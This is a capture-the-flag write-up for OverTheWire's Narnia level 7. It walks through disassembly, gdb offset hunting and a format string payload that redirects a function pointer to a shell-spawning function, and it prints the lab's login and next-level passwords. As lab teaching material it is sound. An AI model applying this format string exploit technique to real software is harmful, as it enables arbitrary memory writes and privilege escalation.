Once I got into the middle of this challenge I realized I need to do more research on format string bugs and came across two different resources that helped me solve this challenge. First the Lecture Notes from Syracuse University were fairly helpful to read through - it again has a pretty good explanation of format string bugs, and how information is actually leaked from the stack (as well as a bit about direct parameter access).
As a reminder Direct Parameter Access is Linux specific. It’s a way to access a particular parameter when using format strings. When there’s a format string bug that allows for information leakage, you are able to “print” the “nth” item on the stack with the following: %<offset>\$<format specifier>. This is extremely useful when you know the offset of what you want to write using the %n format specifier.
The second bit of reading that was extremely useful was from Grey Hat Hacking 4th Ed, specifically Chapter 12 - Magic Formula. It’s one of the “easiest” ways to write 4 bytes in memory using a format string using two writes:
With that out of the way, time for breaking down this challenge.
narnia7
How to log into Narnia:
ssh -p 2226 narnia7@narnia.labs.overthewire.org
Password: ahkiaziphu
Where to find all of the challenges:
cd /narnia/
First and foremost try running the challenge:
1
2
3
4
5
6
7
|
narnia7@narnia:/narnia$ ./narnia7 AAAA
goodfunction() = 0x80486ff
hackedfunction() = 0x8048724
before : ptrf() = 0x80486ff (0xffffd658)
I guess you want to come to the hackedfunction...
Welcome to the goodfunction, but i said the Hackedfunction..
|
Giving an attempt for a simple buffer overflow:
1
2
3
4
5
6
7
|
narnia7@narnia:/narnia$ ./narnia7 $(python -c 'print "A"*2048')
goodfunction() = 0x80486ff
hackedfunction() = 0x8048724
before : ptrf() = 0x80486ff (0xffffce58)
I guess you want to come to the hackedfunction...
Welcome to the goodfunction, but i said the Hackedfunction..
|
No luck, time for objdump. This challenge has a few different functions worth dumping, goodfunction(), hackedfunction(), vuln() and main().
main()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
narnia7@narnia:/narnia$ objdump -M intel -d narnia7 | awk -F"\n" -v RS="\n\n" '$1 ~ /main>/'
080486bf <main>:
80486bf: 55 push ebp
80486c0: 89 e5 mov ebp,esp
80486c2: 83 7d 08 01 cmp DWORD PTR [ebp+0x8],0x1
80486c6: 7f 20 jg 80486e8 <main+0x29>
80486c8: 8b 45 0c mov eax,DWORD PTR [ebp+0xc]
80486cb: 8b 10 mov edx,DWORD PTR [eax]
80486cd: a1 90 9b 04 08 mov eax,ds:0x8049b90
80486d2: 52 push edx
80486d3: 68 6a 88 04 08 push 0x804886a
80486d8: 50 push eax
80486d9: e8 02 fe ff ff call 80484e0 <fprintf@plt>
80486de: 83 c4 0c add esp,0xc
80486e1: 6a ff push 0xffffffff
80486e3: e8 c8 fd ff ff call 80484b0 <exit@plt>
80486e8: 8b 45 0c mov eax,DWORD PTR [ebp+0xc]
80486eb: 83 c0 04 add eax,0x4
80486ee: 8b 00 mov eax,DWORD PTR [eax]
80486f0: 50 push eax
80486f1: e8 25 ff ff ff call 804861b <vuln>
80486f6: 83 c4 04 add esp,0x4
80486f9: 50 push eax
80486fa: e8 b1 fd ff ff call 80484b0 <exit@plt>
|
First is to check argc that it is equal to one, and if so jump to 0x80486e8:
1
2
|
80486c2: 83 7d 08 01 cmp DWORD PTR [ebp+0x8],0x1
80486c6: 7f 20 jg 80486e8 <main+0x29>
|
If it’s not equal to, then print a message and exit() with the usage:
1
2
3
4
5
6
7
8
9
10
|
80486c8: 8b 45 0c mov eax,DWORD PTR [ebp+0xc]
80486cb: 8b 10 mov edx,DWORD PTR [eax]
80486cd: a1 90 9b 04 08 mov eax,ds:0x8049b90
80486d2: 52 push edx
80486d3: 68 6a 88 04 08 push 0x804886a
80486d8: 50 push eax
80486d9: e8 02 fe ff ff call 80484e0 <fprintf@plt>
80486de: 83 c4 0c add esp,0xc
80486e1: 6a ff push 0xffffffff
80486e3: e8 c8 fd ff ff call 80484b0 <exit@plt>
|
If some input has been provided to argv, then the interesting stuff happens. First pull the value out of argv[1] and push that onto the stack, calling the vuln() function, i.e.: vuln(argv[1]);. So it seems very likely vuln is appropriately named since it’s taking in user input. Next up is the good function since it’s pretty short.
goodfunction()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
narnia7@narnia:/narnia$ objdump -M intel -d narnia7 | awk -F"\n" -v RS="\n\n" '$1 ~ /goodfunction/'
080486ff <goodfunction>:
80486ff: 55 push ebp
8048700: 89 e5 mov ebp,esp
8048702: 68 80 88 04 08 push 0x8048880
8048707: e8 84 fd ff ff call 8048490 <puts@plt>
804870c: 83 c4 04 add esp,0x4
804870f: a1 94 9b 04 08 mov eax,ds:0x8049b94
8048714: 50 push eax
8048715: e8 46 fd ff ff call 8048460 <fflush@plt>
804871a: 83 c4 04 add esp,0x4
804871d: b8 00 00 00 00 mov eax,0x0
8048722: c9 leave
8048723: c3 ret
|
There’s nothing really of interest here in the goodfunction. It just prints out a message taunting you with directions to go to the hacked function. Onto the next.
hackedfunction()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
narnia7@narnia:/narnia$ objdump -M intel -d narnia7 | awk -F"\n" -v RS="\n\n" '$1 ~ /hackedfunction/'
08048724 <hackedfunction>:
8048724: 55 push ebp
8048725: 89 e5 mov ebp,esp
8048727: 53 push ebx
8048728: 68 bd 88 04 08 push 0x80488bd
804872d: e8 1e fd ff ff call 8048450 <printf@plt>
8048732: 83 c4 04 add esp,0x4
8048735: a1 94 9b 04 08 mov eax,ds:0x8049b94
804873a: 50 push eax
804873b: e8 20 fd ff ff call 8048460 <fflush@plt>
8048740: 83 c4 04 add esp,0x4
8048743: e8 38 fd ff ff call 8048480 <geteuid@plt>
8048748: 89 c3 mov ebx,eax
804874a: e8 31 fd ff ff call 8048480 <geteuid@plt>
804874f: 53 push ebx
8048750: 50 push eax
8048751: e8 6a fd ff ff call 80484c0 <setreuid@plt>
8048756: 83 c4 08 add esp,0x8
8048759: 68 cb 88 04 08 push 0x80488cb
804875e: e8 3d fd ff ff call 80484a0 <system@plt>
8048763: 83 c4 04 add esp,0x4
8048766: b8 00 00 00 00 mov eax,0x0
804876b: 8b 5d fc mov ebx,DWORD PTR [ebp-0x4]
804876e: c9 leave
804876f: c3 ret
|
Once again there’s not a ton of interesting things going on in the hacked function, but it’s clear that if we are able to get it called, it will escalate our permissions and make a call to system, giving a shell. Since goodfunction and hackedfunction aren’t that interesting that just leaves a deep dive into vuln(). Time to break it apart and see what can be done to break it and have it do whatever is needed to complete this challenge:
vuln()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
|
narnia7@narnia:/narnia$ objdump -M intel -d narnia7 | awk -F"\n" -v RS="\n\n" '$1 ~ /vuln/'
0804861b <vuln>:
804861b: 55 push ebp
804861c: 89 e5 mov ebp,esp
804861e: 81 ec 84 00 00 00 sub esp,0x84
8048624: 68 80 00 00 00 push 0x80
8048629: 6a 00 push 0x0
804862b: 8d 45 80 lea eax,[ebp-0x80]
804862e: 50 push eax
804862f: e8 bc fe ff ff call 80484f0 <memset@plt>
8048634: 83 c4 0c add esp,0xc
8048637: 68 ff 86 04 08 push 0x80486ff
804863c: 68 f0 87 04 08 push 0x80487f0
8048641: e8 0a fe ff ff call 8048450 <printf@plt>
8048646: 83 c4 08 add esp,0x8
8048649: 68 24 87 04 08 push 0x8048724
804864e: 68 05 88 04 08 push 0x8048805
8048653: e8 f8 fd ff ff call 8048450 <printf@plt>
8048658: 83 c4 08 add esp,0x8
804865b: c7 85 7c ff ff ff ff mov DWORD PTR [ebp-0x84],0x80486ff
8048662: 86 04 08
8048665: 8b 85 7c ff ff ff mov eax,DWORD PTR [ebp-0x84]
804866b: 8d 95 7c ff ff ff lea edx,[ebp-0x84]
8048671: 52 push edx
8048672: 50 push eax
8048673: 68 1d 88 04 08 push 0x804881d
8048678: e8 d3 fd ff ff call 8048450 <printf@plt>
804867d: 83 c4 0c add esp,0xc
8048680: 68 38 88 04 08 push 0x8048838
8048685: e8 06 fe ff ff call 8048490 <puts@plt>
804868a: 83 c4 04 add esp,0x4
804868d: 6a 02 push 0x2
804868f: e8 dc fd ff ff call 8048470 <sleep@plt>
8048694: 83 c4 04 add esp,0x4
8048697: c7 85 7c ff ff ff ff mov DWORD PTR [ebp-0x84],0x80486ff
804869e: 86 04 08
80486a1: ff 75 08 push DWORD PTR [ebp+0x8]
80486a4: 68 80 00 00 00 push 0x80
80486a9: 8d 45 80 lea eax,[ebp-0x80]
80486ac: 50 push eax
80486ad: e8 4e fe ff ff call 8048500 <snprintf@plt>
80486b2: 83 c4 0c add esp,0xc
80486b5: 8b 85 7c ff ff ff mov eax,DWORD PTR [ebp-0x84]
80486bb: ff d0 call eax
80486bd: c9 leave
80486be: c3 ret
|
First up reserve 0x84 (132 bytes) on the stack:
1
|
804861e: 81 ec 84 00 00 00 sub esp,0x84
|
Immediately after the reservation there’s a memset called with 0x80 (128 bytes). So we have an unknown 4 bytes and how they are used.
1
2
3
4
5
|
8048624: 68 80 00 00 00 push 0x80
8048629: 6a 00 push 0x0
804862b: 8d 45 80 lea eax,[ebp-0x80]
804862e: 50 push eax
804862f: e8 bc fe ff ff call 80484f0 <memset@plt>
|
Print out the first message about the good function with it’s address, then print out the second message about the hacked function with it’s address:
1
2
3
4
5
6
|
8048637: 68 ff 86 04 08 push 0x80486ff
804863c: 68 f0 87 04 08 push 0x80487f0
8048641: e8 0a fe ff ff call 8048450 <printf@plt>
8048649: 68 24 87 04 08 push 0x8048724
804864e: 68 05 88 04 08 push 0x8048805
8048653: e8 f8 fd ff ff call 8048450 <printf@plt>
|
This is where and how the unknown four bytes are used:
1
2
|
804865b: c7 85 7c ff ff ff ff mov DWORD PTR [ebp-0x84],0x80486ff
8048662: 86 04 08
|
What’s happening is that the address of the goodfunction is stored at the address of [ebp-0x84], acting as a function pointer on the stack. With that in mind, it makes sense that the next print is "ptrf() = [address]". Followed by the explanation of what needs to be done, and finished off with a 2 second sleep:
1
2
3
4
5
6
7
8
9
|
804866b: 8d 95 7c ff ff ff lea edx,[ebp-0x84]
8048671: 52 push edx
8048672: 50 push eax
8048673: 68 1d 88 04 08 push 0x804881d
8048678: e8 d3 fd ff ff call 8048450 <printf@plt>
8048680: 68 38 88 04 08 push 0x8048838
8048685: e8 06 fe ff ff call 8048490 <puts@plt>
804868d: 6a 02 push 0x2
804868f: e8 dc fd ff ff call 8048470 <sleep@plt>
|
Now for the interesting parts, there’s an snprintf that uses the buffer on the stack, followed by a fixed size of 128 bytes and the address that was passed in with the call to vuln(), aka argv[1]. After that a call is made with the contents of [ebp-0x84], which is currently to the goodfunction.
1
2
3
4
5
6
7
|
80486a1: ff 75 08 push DWORD PTR [ebp+0x8] # argv[1]
80486a4: 68 80 00 00 00 push 0x80 # Size
80486a9: 8d 45 80 lea eax,[ebp-0x80] # address of buffer
80486ac: 50 push eax
80486ad: e8 4e fe ff ff call 8048500 <snprintf@plt> # snprintf(buffer, size, argv[1])
80486b5: 8b 85 7c ff ff ff mov eax,DWORD PTR [ebp-0x84] # get address of function pointer (currently goodfunction)
80486bb: ff d0 call eax # call function pointer
|
This explains why a simple buffer overflow that no effect, the snprintf doesn’t allow for an overflow since it’s bound to a size of 0x80. However it doesn’t look like any sanity or stripping was applied to argv[1] and it is provided as the last argument of snprintf:
1
|
int snprintf(char *str, size_t size, const char* format, ...);
|
The goal here is to some how use the ability to leak information and write arbitrary bytes in order to change the address pointed to in [ebp-0x84] to something our choosing (aka hackedfunction). In other words, it’s time for more Format String exploits. However, before we can get there we need to confirm that it is actually possible to leak information about the contents of the stack (and ultimately write whatever we want):
1
|
./narnia7 $(python -c 'print "%x."*256')
|
Running that bit of input through does leak information, so the real magic begins. At the beginning of the article there was a magical formula referred to for generating a format string that will write a particular address to another - so that’s what we’re going to focus on using now. There are other ways to do this by writing one byte at a time, but who doesn’t want to feel like a wizard every now and again?
Before using the formula an explication of what’s going on with it seems appropriate. Since we already know that HOB < LOB we can use this version of the magic formula:
1
|
[addr+2][addr]%.[HOB-8]x%[offset]$hn%.[LOB-HOB]x%[offset+1]$hn
|
HOB stands for HighOrderedBytes and LOB is LowOrderedBytes, these are 2byte chunks that need to be written. Write both and you can write any 4 byte address of your choosing anywhere you’d like with direct parameter access. addr is the address that is to be written into - in the case of this challenge we are changing the address from pointing at goodfunction to point at hackedfunction. Offset is a bit more complicated, it is defined as the distance in 4 byte chunks between the pointer in memory to the format string and the beginning of the values in memory. Yes offset is a bit confusing, but working through it below should hopefully help clarify. Finally, the hn allows for just writing 2 bytes at a time.
It seems much more confusing that it actually is - which is why it’s magic. What’s happening is that each of the %[offset]$hn needs an address to write to. The first one writes the 2 bytes for HOB by doing some magic with %.[HOB-8]x which provides the correct value to %[offset]$hn of the target addr. Then the same process is applied to LOB.
Looking at the output from running narnia7:
1
2
3
4
5
6
|
goodfunction() = 0x80486ff
hackedfunction() = 0x8048724
before : ptrf() = 0x80486ff (0xffffd658)
I guess you want to come to the hackedfunction...
Welcome to the goodfunction, but i said the Hackedfunction..
|
The goal is to write, 0x8048724. So starting to plug in some values:
1
2
3
|
[addr + 2][addr] = 0xffffd658 + 2 = \x60\xd6\xff\xff\x58\xd6\xff\xff
%.[HOB – 8]x = 0x0804 – 8 = 7FC(2044) = %.2044x
%.[LOB – HOB]x = 0x8724 – 0804 = 7F20(32544) = %.32544x
|
Which then gives the following format string, which is still missing the offset.
1
|
\x60\xd6\xff\xff\x58\xd6\xff\xff%.2044x%???$hn%.32544x%???$hn
|
Once again, the offset is defined as the distance between the pointer in memory to the format string and the beginning of the values in memory, so gdb can be used to help determine what that value would be.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
(gdb) r AAAA
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /narnia/narnia7 AAAA
goodfunction() = 0x80486ff
hackedfunction() = 0x8048724
before : ptrf() = 0x80486ff (0xffffd628)
I guess you want to come to the hackedfunction...
Breakpoint 1, 0x080486ad in vuln ()
(gdb) ni
0x080486b2 in vuln ()
(gdb) x/40xw $esp
0xffffd61c: 0xffffd62c 0x00000080 0xffffd896 0x080486ff
0xffffd62c: 0x41414141 0x00000000 0x00000000 0x00000000
|
In this instance the offset is 0xffffd62c - 0xffffd624 = 0x8 / 4byte chunks = 2.
Something that does happen on occasion is that the addresses shift around a bit as the programs crash/run through debuggers, so a quick run to make sure we have the current addresses.
1
2
3
4
5
6
7
|
narnia7@narnia:/narnia$ ./narnia7 AAAA
goodfunction() = 0x80486ff
hackedfunction() = 0x8048724
before : ptrf() = 0x80486ff (0xffffd638)
I guess you want to come to the hackedfunction...
Welcome to the goodfunctio
|
Since it’s not quite the same address as last time, a quick update to the values and the final payload is ready:
1
2
3
4
5
|
./narnia7 $(python -c 'print "\x40\xd6\xff\xff\x38\xd6\xff\xff%.2044x%2$hn%.32544x%3$hn"')
I guess you want to come to the hackedfunction...
Way to go!!!!$ cat /etc/narnia_pass/narnia8
mohthuphog
|
